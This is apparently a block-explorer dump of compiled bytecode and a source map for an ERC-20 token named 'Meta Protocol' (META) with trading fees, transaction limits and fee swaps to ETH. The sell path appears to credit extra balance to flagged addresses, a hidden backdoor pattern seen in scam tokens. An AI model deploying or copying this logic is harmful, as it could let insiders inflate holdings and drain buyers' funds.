5b8151610ec6816111f9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561155d5784516001600160a01b031683529383019391830191600101611538565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfe335994c1a85c807d6c7e7fc592587ee2135594321f0181d49855cda48e38d64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102b1578063a5e992bb146102de578063a9059cbb146102f4578063c9567bf914610314578063dd62ed3e1461032957600080fd5b8063715018a614610247578063751039fc1461025e5780638da5cb5b14610273578063953635141461029b57600080fd5b806323b872dd116100d157806323b872dd146101bf578063313ce567146101df5780633e172ef2146101fb57806370a082311461021157600080fd5b806306fdde031461010e57806308aa269514610156578063095ea7b31461017a57806318160ddd146101aa57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c13595d1848141c9bdd1bd8dbdb609a1b60208201525b60405161014d91906111ab565b60405180910390f35b34801561016257600080fd5b5061016c60015481565b60405190815260200161014d565b34801561018657600080fd5b5061019a610195366004611211565b61036f565b604051901515815260200161014d565b3480156101b657600080fd5b5061016c610386565b3480156101cb57600080fd5b5061019a6101da36600461123d565b6103a6565b3480156101eb57600080fd5b506040516009815260200161014d565b34801561020757600080fd5b5061016c60035481565b34801561021d57600080fd5b5061016c61022c36600461127e565b6001600160a01b03166000908152600d602052604090205490565b34801561025357600080fd5b5061025c61040f565b005b34801561026a57600080fd5b5061025c61048c565b34801561027f57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a757600080fd5b5061016c60045481565b3480156102bd57600080fd5b506040805180820190915260048152634d45544160e01b6020820152610140565b3480156102ea57600080fd5b5061016c60025481565b34801561030057600080fd5b5061019a61030f366004611211565b61053b565b34801561032057600080fd5b5061025c610548565b34801561033557600080fd5b5061016c61034436600461129b565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b600061037c338484610776565b5060015b92915050565b60006103946009600a6113ce565b6103a190629896806113dd565b905090565b60006103b384848461089a565b61040584336104008560405180606001604052806028815260200161157f602891396001600160a01b038a166000908152600e602090815260408083203384529091529020549190610e0a565b610776565b5060019392505050565b6000546001600160a01b031633146104425760405162461bcd60e51b8152600401610439906113f4565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104b65760405162461bcd60e51b8152600401610439906113f4565b6104c26009600a6113ce565b6104cf90629896806113dd565b6003556104de6009600a6113ce565b6104eb90629896806113dd565b6004557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61051b6009600a6113ce565b61052890629896806113dd565b60405190815260200160405180910390a1565b600061037c33848461089a565b6000546001600160a01b031633146105725760405162461bcd60e51b8152600401610439906113f4565b601254600160a01b900460ff16156105cc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610439565b6011546105f79030906001600160a01b03166105ea6009600a6113ce565b61040090629896806113dd565b6011546001600160a01b031663f305d7194730610629816001600160a01b03166000908152600d602052604090205490565b60008061063e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106a6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106cb9190611429565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107489190611457565b50600e6005819055600655600160078190556008556012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166107d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b0382166108395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b038381166000818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108fe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b0382166109605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b600081116109c25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610439565b600080546001600160a01b038581169116148015906109ef57506000546001600160a01b03848116911614155b15610cc757610a206064610a1a600954600c5411610a0f57600554610a13565b6007545b8590610e44565b90610ecd565b6012549091506001600160a01b038581169116148015610a4e57506011546001600160a01b03848116911614155b8015610a7357506001600160a01b0383166000908152600f602052604090205460ff16155b15610b4f57600354821115610abd5760405162461bcd60e51b815260206004820152601060248201526f22bc31b2b2b239903a34329036aa3c1760811b6044820152606401610439565b60045482610ae0856001600160a01b03166000908152600d602052604090205490565b610aea9190611479565b1115610b2f5760405162461bcd60e51b815260206004820152601460248201527322bc31b2b2b239903a34329036abb0b63632ba1760611b6044820152606401610439565b6064600c5411610b4f57600c8054906000610b498361148c565b91905055505b6012546001600160a01b038481169116148015610b7557506001600160a01b0384163014155b15610c00576001600160a01b0384166000908152600f602052604090205460ff1615610bd8576001600160a01b0384166000908152600d6020526040902054610bbe9083610f0f565b6001600160a01b0385166000908152600d60205260409020555b610bfd6064610a1a600a54600c5411610bf357600654610a13565b6008548590610e44565b90505b306000908152600d6020526040902054601254600160a81b900460ff16158015610c3757506012546001600160a01b038581169116145b8015610c4c5750601254600160b01b900460ff165b8015610c59575060015481115b8015610c66575060015483115b8015610c755750600b54600c54115b8015610c9a57506001600160a01b0385166000908152600f602052604090205460ff16155b15610cc557610cbc610cb784610cb284600254610f6e565b610f6e565b610f83565b610cc5476110fd565b505b8015610d4157306000908152600d6020526040902054610ce79082610f0f565b306000818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d389085815260200190565b60405180910390a35b6001600160a01b0384166000908152600d6020526040902054610d64908361113b565b6001600160a01b0385166000908152600d6020526040902055610da9610d8a838361113b565b6001600160a01b0385166000908152600d602052604090205490610f0f565b6001600160a01b038085166000818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610df3858561113b565b60405190815260200160405180910390a350505050565b60008184841115610e2e5760405162461bcd60e51b815260040161043991906111ab565b506000610e3b84866114a5565b95945050505050565b600082600003610e5657506000610380565b6000610e6283856113dd565b905082610e6f85836114b8565b14610ec65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610439565b9392505050565b6000610ec683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061117d565b600080610f1c8385611479565b905083811015610ec65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610439565b6000818311610f7d5782610ec6565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcb57610fcb6114da565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104891906114f0565b8160018151811061105b5761105b6114da565b6001600160a01b0392831660209182029290920101526011546110819130911684610776565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ba90859060009086903090429060040161150d565b600060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611137573d6000803e3d6000fd5b5050565b6000610ec683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e0a565b6000818361119e5760405162461bcd60e51b815260040161043991906111ab565b506000610e3b84866114b8565b600060208083528351808285015260005b818110156111d8578581018301518582016040015282016111bc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120e57600080fd5b50565b6000806040838503121561122457600080fd5b823561122f816111f9565b946020939093013593505050565b60008060006060848603121561125257600080fd5b833561125d816111f9565b9250602084013561126d816111f9565b929592945050506040919091013590565b60006020828403121561129057600080fd5b8135610ec6816111f9565b600080604083850312156112ae57600080fd5b82356112b9816111f9565b915060208301356112c9816111f9565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561132557816000190482111561130b5761130b6112d4565b8085161561131857918102915b93841c93908002906112ef565b509250929050565b60008261133c57506001610380565b8161134957506000610380565b816001811461135f576002811461136957611385565b6001915050610380565b60ff84111561137a5761137a6112d4565b50506001821b610380565b5060208310610133831016604e8410600b84101617156113a8575081810a610380565b6113b283836112ea565b80600019048211156113c6576113c66112d4565b029392505050565b6000610ec660ff84168361132d565b8082028115828204841417610380576103806112d4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561143e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561146957600080fd5b81518015158114610ec657600080fd5b80820180821115610380576103806112d4565b60006001820161149e5761149e6112d4565b5060010190565b81810381811115610380576103806112d4565b6000826114d557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150257600080fd5b8151610ec6816111f9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561155d5784516001600160a01b031683529383019391830191600101611538565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfe335994c1a85c807d6c7e7fc592587ee2135594321f0181d49855cda48e38d64736f6c63430008130033

Deployed Bytecode Sourcemap

3966:7228:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5811:83;;;;;;;;;;-1:-1:-1;5881:5:0;;;;;;;;;;;;-1:-1:-1;;;5881:5:0;;;;5811:83;;;;;;;:::i;:::-;;;;;;;;4264:45;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;4264:45:0;567:177:1;6411:193:0;;;;;;;;;;-1:-1:-1;6411:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6411:193:0;1205:187:1;9672:95:0;;;;;;;;;;;;;:::i;6612:446::-;;;;;;;;;;-1:-1:-1;6612:446:0;;;;;:::i;:::-;;:::i;5997:83::-;;;;;;;;;;-1:-1:-1;5997:83:0;;4186:1;2000:36:1;;1988:2;1973:18;5997:83:0;1858:184:1;4371:44:0;;;;;;;;;;;;;;;;6088:119;;;;;;;;;;-1:-1:-1;6088:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6181:18:0;6154:7;6181:18;;;:9;:18;;;;;;;6088:119;3811:148;;;;;;;;;;;;;:::i;:::-;;10248:146;;;;;;;;;;;;;:::i;3597:79::-;;;;;;;;;;-1:-1:-1;3635:7:0;3662:6;3597:79;;-1:-1:-1;;;;;3662:6:0;;;2445:51:1;;2433:2;2418:18;3597:79:0;2299:203:1;4422:48:0;;;;;;;;;;;;;;;;5902:87;;;;;;;;;;-1:-1:-1;5974:7:0;;;;;;;;;;;;-1:-1:-1;;;5974:7:0;;;;5902:87;;4316:48;;;;;;;;;;;;;;;;10406:199;;;;;;;;;;-1:-1:-1;10406:199:0;;;;;:::i;:::-;;:::i;7070:633::-;;;;;;;;;;;;;:::i;6215:184::-;;;;;;;;;;-1:-1:-1;6215:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6364:18:0;;;6332:7;6364:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6215:184;6411:193;6513:4;6535:39;344:10;6558:7;6567:6;6535:8;:39::i;:::-;-1:-1:-1;6592:4:0;6411:193;;;;;:::o;9672:95::-;9725:7;4242:13;4186:1;4242:2;:13;:::i;:::-;4229:26;;:10;:26;:::i;:::-;9745:14;;9672:95;:::o;6612:446::-;6744:4;6761:36;6771:6;6779:9;6790:6;6761:9;:36::i;:::-;6808:220;6831:6;344:10;6879:138;6935:6;6879:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6879:19:0;;;;;;:11;:19;;;;;;;;344:10;6879:33;;;;;;;;;;:37;:138::i;:::-;6808:8;:220::i;:::-;-1:-1:-1;7046:4:0;6612:446;;;;;:::o;3811:148::-;3724:6;;-1:-1:-1;;;;;3724:6:0;344:10;3724:22;3716:67;;;;-1:-1:-1;;;3716:67:0;;;;;;;:::i;:::-;;;;;;;;;3918:1:::1;3902:6:::0;;3881:40:::1;::::0;-1:-1:-1;;;;;3902:6:0;;::::1;::::0;3881:40:::1;::::0;3918:1;;3881:40:::1;3949:1;3932:19:::0;;-1:-1:-1;;;;;;3932:19:0::1;::::0;;3811:148::o;10248:146::-;3724:6;;-1:-1:-1;;;;;3724:6:0;344:10;3724:22;3716:67;;;;-1:-1:-1;;;3716:67:0;;;;;;;:::i;:::-;4242:13:::1;4186:1;4242:2;:13;:::i;:::-;4229:26;::::0;:10:::1;:26;:::i;:::-;10302:3;:13:::0;4242::::1;4186:1;4242:2;:13;:::i;:::-;4229:26;::::0;:10:::1;:26;:::i;:::-;10326:7;:17:::0;10359:27:::1;4242:13;4186:1;4242:2;:13;:::i;:::-;4229:26;::::0;:10:::1;:26;:::i;:::-;10359:27;::::0;713:25:1;;;701:2;686:18;10359:27:0::1;;;;;;;10248:146::o:0;10406:199::-;10511:4;10533:42;344:10;10557:9;10568:6;10533:9;:42::i;7070:633::-;3724:6;;-1:-1:-1;;;;;3724:6:0;344:10;3724:22;3716:67;;;;-1:-1:-1;;;3716:67:0;;;;;;;:::i;:::-;7132:8:::1;::::0;-1:-1:-1;;;7132:8:0;::::1;;;7131:9;7123:45;;;::::0;-1:-1:-1;;;7123:45:0;;5151:2:1;7123:45:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;7123:45:0::1;4949:347:1::0;7123:45:0::1;7211:7;::::0;7179:50:::1;::::0;7196:4:::1;::::0;-1:-1:-1;;;;;7211:7:0::1;4242:13;4186:1;4242:2;:13;:::i;:::-;4229:26;::::0;:10:::1;:26;:::i;7179:50::-;7240:7;::::0;-1:-1:-1;;;;;7240:7:0::1;:23;7271:21;7316:4;7336:24;7316:4:::0;-1:-1:-1;;;;;6181:18:0;6154:7;6181:18;;;:9;:18;;;;;;;6088:119;7336:24:::1;7375:1;7391::::0;7407:7:::1;3635::::0;3662:6;-1:-1:-1;;;;;3662:6:0;;3597:79;7407:7:::1;7240:215;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7240:215:0;;;-1:-1:-1;;;;;5660:15:1;;;7240:215:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;7429:15:0::1;5874:19:1::0;;;5867:35;5576:19;;7240:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7473:5:0::1;::::0;7496:7:::1;::::0;7466:58:::1;::::0;-1:-1:-1;;;7466:58:0;;-1:-1:-1;;;;;7496:7:0;;::::1;7466:58;::::0;::::1;6398:51:1::0;-1:-1:-1;;6465:18:1;;;6458:34;7473:5:0;::::1;::::0;-1:-1:-1;7466:21:0::1;::::0;6371:18:1;;7466:58:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7552:2:0::1;7535:14;:19:::0;;;7565:15:::1;:20:::0;7611:1:::1;7596:12;:16:::0;;;7623:13:::1;:17:::0;7651:11:::1;:18:::0;;-1:-1:-1;;;;7680:15:0;-1:-1:-1;;;7680:15:0;;;7070:633::o;9775:369::-;-1:-1:-1;;;;;9902:19:0;;9894:68;;;;-1:-1:-1;;;9894:68:0;;6987:2:1;9894:68:0;;;6969:21:1;7026:2;7006:18;;;6999:30;7065:34;7045:18;;;7038:62;-1:-1:-1;;;7116:18:1;;;7109:34;7160:19;;9894:68:0;6785:400:1;9894:68:0;-1:-1:-1;;;;;9981:21:0;;9973:68;;;;-1:-1:-1;;;9973:68:0;;7392:2:1;9973:68:0;;;7374:21:1;7431:2;7411:18;;;7404:30;7470:34;7450:18;;;7443:62;-1:-1:-1;;;7521:18:1;;;7514:32;7563:19;;9973:68:0;7190:398:1;9973:68:0;-1:-1:-1;;;;;10052:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10104:32;;713:25:1;;;10104:32:0;;686:18:1;10104:32:0;;;;;;;9775:369;;;:::o;7752:1912::-;-1:-1:-1;;;;;7874:18:0;;7866:68;;;;-1:-1:-1;;;7866:68:0;;7795:2:1;7866:68:0;;;7777:21:1;7834:2;7814:18;;;7807:30;7873:34;7853:18;;;7846:62;-1:-1:-1;;;7924:18:1;;;7917:35;7969:19;;7866:68:0;7593:401:1;7866:68:0;-1:-1:-1;;;;;7953:16:0;;7945:64;;;;-1:-1:-1;;;7945:64:0;;8201:2:1;7945:64:0;;;8183:21:1;8240:2;8220:18;;;8213:30;8279:34;8259:18;;;8252:62;-1:-1:-1;;;8330:18:1;;;8323:33;8373:19;;7945:64:0;7999:399:1;7945:64:0;8037:1;8028:6;:10;8020:64;;;;-1:-1:-1;;;8020:64:0;;8605:2:1;8020:64:0;;;8587:21:1;8644:2;8624:18;;;8617:30;8683:34;8663:18;;;8656:62;-1:-1:-1;;;8734:18:1;;;8727:39;8783:19;;8020:64:0;8403:405:1;8020:64:0;8095:17;3662:6;;-1:-1:-1;;;;;8131:15:0;;;3662:6;;8131:15;;;;:32;;-1:-1:-1;3635:7:0;3662:6;-1:-1:-1;;;;;8150:13:0;;;3662:6;;8150:13;;8131:32;8127:1166;;;8192:86;8274:3;8192:77;8219:18;;8204:12;;:33;8203:65;;8254:14;;8203:65;;;8240:12;;8203:65;8192:6;;:10;:77::i;:::-;:81;;:86::i;:::-;8305:5;;8180:98;;-1:-1:-1;;;;;;8297:13:0;;;8305:5;;8297:13;:39;;;;-1:-1:-1;8328:7:0;;-1:-1:-1;;;;;8314:22:0;;;8328:7;;8314:22;;8297:39;:56;;;;-1:-1:-1;;;;;;8341:12:0;;;;;;:8;:12;;;;;;;;8340:13;8297:56;8293:324;;;8392:3;;8382:6;:13;;8374:42;;;;-1:-1:-1;;;8374:42:0;;9015:2:1;8374:42:0;;;8997:21:1;9054:2;9034:18;;;9027:30;-1:-1:-1;;;9073:18:1;;;9066:46;9129:18;;8374:42:0;8813:340:1;8374:42:0;8469:7;;8459:6;8443:13;8453:2;-1:-1:-1;;;;;6181:18:0;6154:7;6181:18;;;:9;:18;;;;;;;6088:119;8443:13;:22;;;;:::i;:::-;:33;;8435:66;;;;-1:-1:-1;;;8435:66:0;;9490:2:1;8435:66:0;;;9472:21:1;9529:2;9509:18;;;9502:30;-1:-1:-1;;;9548:18:1;;;9541:50;9608:18;;8435:66:0;9288:344:1;8435:66:0;8540:3;8524:12;;:19;8520:82;;8568:12;:14;;;:12;:14;;;:::i;:::-;;;;;;8520:82;8641:5;;-1:-1:-1;;;;;8635:11:0;;;8641:5;;8635:11;:36;;;;-1:-1:-1;;;;;;8650:21:0;;8666:4;8650:21;;8635:36;8631:262;;;-1:-1:-1;;;;;8696:14:0;;;;;;:8;:14;;;;;;;;8692:69;;;-1:-1:-1;;;;;8732:15:0;;;;;;:9;:15;;;;;;:27;;8752:6;8732:19;:27::i;:::-;-1:-1:-1;;;;;8714:15:0;;;;;;:9;:15;;;;;:45;8692:69;8791:86;8873:3;8791:77;8818:16;;8803:12;;:31;8802:65;;8852:15;;8802:65;;;8837:13;;8791:6;;:10;:77::i;:86::-;8779:98;;8631:262;8958:4;8909:28;6181:18;;;:9;:18;;;;;;8984:8;;-1:-1:-1;;;8984:8:0;;;;8983:9;:24;;;;-1:-1:-1;9002:5:0;;-1:-1:-1;;;;;8996:11:0;;;9002:5;;8996:11;8983:24;:39;;;;-1:-1:-1;9011:11:0;;-1:-1:-1;;;9011:11:0;;;;8983:39;:72;;;;;9049:6;;9026:20;:29;8983:72;:91;;;;;9068:6;;9059;:15;8983:91;:128;;;;;9093:18;;9078:12;;:33;8983:128;:147;;;;-1:-1:-1;;;;;;9116:14:0;;;;;;:8;:14;;;;;;;;9115:15;8983:147;8979:303;;;9151:65;9168:47;9172:6;9180:34;9184:20;9206:7;;9180:3;:34::i;:::-;9168:3;:47::i;:::-;9151:16;:65::i;:::-;9235:31;9244:21;9235:8;:31::i;:::-;8165:1128;8127:1166;9309:13;;9305:172;;9384:4;9366:24;;;;:9;:24;;;;;;:39;;9395:9;9366:28;:39::i;:::-;9357:4;9339:24;;;;:9;:24;;;;;;;:66;;;;9425:40;;-1:-1:-1;;;;;9425:40:0;;;;;;;9455:9;713:25:1;;701:2;686:18;;567:177;9425:40:0;;;;;;;;9305:172;-1:-1:-1;;;;;9505:15:0;;;;;;:9;:15;;;;;;:27;;9525:6;9505:19;:27::i;:::-;-1:-1:-1;;;;;9487:15:0;;;;;;:9;:15;;;;;:45;9559:40;9577:21;:6;9588:9;9577:10;:21::i;:::-;-1:-1:-1;;;;;9559:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9543:13:0;;;;;;;:9;:13;;;;;:56;;;;9615:41;;;9634:21;:6;9645:9;9634:10;:21::i;:::-;9615:41;;713:25:1;;;701:2;686:18;9615:41:0;;;;;;;7855:1809;7752:1912;;;:::o;724:224::-;844:7;880:12;872:6;;;;864:29;;;;-1:-1:-1;;;864:29:0;;;;;;;;:::i;:::-;-1:-1:-1;904:9:0;916:5;920:1;916;:5;:::i;:::-;904:17;724:224;-1:-1:-1;;;;;724:224:0:o;956:246::-;1014:7;1038:1;1043;1038:6;1034:47;;-1:-1:-1;1068:1:0;1061:8;;1034:47;1091:9;1103:5;1107:1;1103;:5;:::i;:::-;1091:17;-1:-1:-1;1136:1:0;1127:5;1131:1;1091:17;1127:5;:::i;:::-;:10;1119:56;;;;-1:-1:-1;;;1119:56:0;;10334:2:1;1119:56:0;;;10316:21:1;10373:2;10353:18;;;10346:30;10412:34;10392:18;;;10385:62;-1:-1:-1;;;10463:18:1;;;10456:31;10504:19;;1119:56:0;10132:397:1;1119:56:0;1193:1;956:246;-1:-1:-1;;;956:246:0:o;1210:132::-;1268:7;1295:39;1299:1;1302;1295:39;;;;;;;;;;;;;;;;;:3;:39::i;393:179::-;451:7;;483:5;487:1;483;:5;:::i;:::-;471:17;;512:1;507;:6;;499:46;;;;-1:-1:-1;;;499:46:0;;10736:2:1;499:46:0;;;10718:21:1;10775:2;10755:18;;;10748:30;10814:29;10794:18;;;10787:57;10861:18;;499:46:0;10534:351:1;11084:107:0;11141:7;11173:1;11169;:5;11168:15;;11182:1;11168:15;;;-1:-1:-1;11178:1:0;11084:107;-1:-1:-1;11084:107:0:o;10617:459::-;5308:8;:15;;-1:-1:-1;;;;5308:15:0;-1:-1:-1;;;5308:15:0;;;10719:16:::1;::::0;;10733:1:::1;10719:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10719:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10719:16:0::1;10695:40;;10764:4;10746;10751:1;10746:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10746:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10790:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;10790:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;10746:7;;10790:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10780:4;10785:1;10780:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10780:24:0;;::::1;:7;::::0;;::::1;::::0;;;;;:24;10847:7:::1;::::0;10815:54:::1;::::0;10832:4:::1;::::0;10847:7:::1;10857:11:::0;10815:8:::1;:54::i;:::-;10880:7;::::0;:188:::1;::::0;-1:-1:-1;;;10880:188:0;;-1:-1:-1;;;;;10880:7:0;;::::1;::::0;:58:::1;::::0;:188:::1;::::0;10953:11;;10880:7:::1;::::0;10995:4;;11022::::1;::::0;11042:15:::1;::::0;10880:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5346:8:0;:16;;-1:-1:-1;;;;5346:16:0;;;-1:-1:-1;;;;10617:459:0:o;10152:88::-;10205:10;;:27;;-1:-1:-1;;;;;10205:10:0;;;;:27;;;;;10225:6;;10205:10;:27;:10;:27;10225:6;10205:10;:27;;;;;;;;;;;;;;;;;;;;;10152:88;:::o;580:136::-;638:7;665:43;669:1;672;665:43;;;;;;;;;;;;;;;;;:3;:43::i;1350:223::-;1470:7;1505:12;1498:5;1490:28;;;;-1:-1:-1;;;1490:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1529:9:0;1541:5;1545:1;1541;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;804:70;749:131;:::o;885:315::-;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6503:277::-;6570:6;6623:2;6611:9;6602:7;6598:2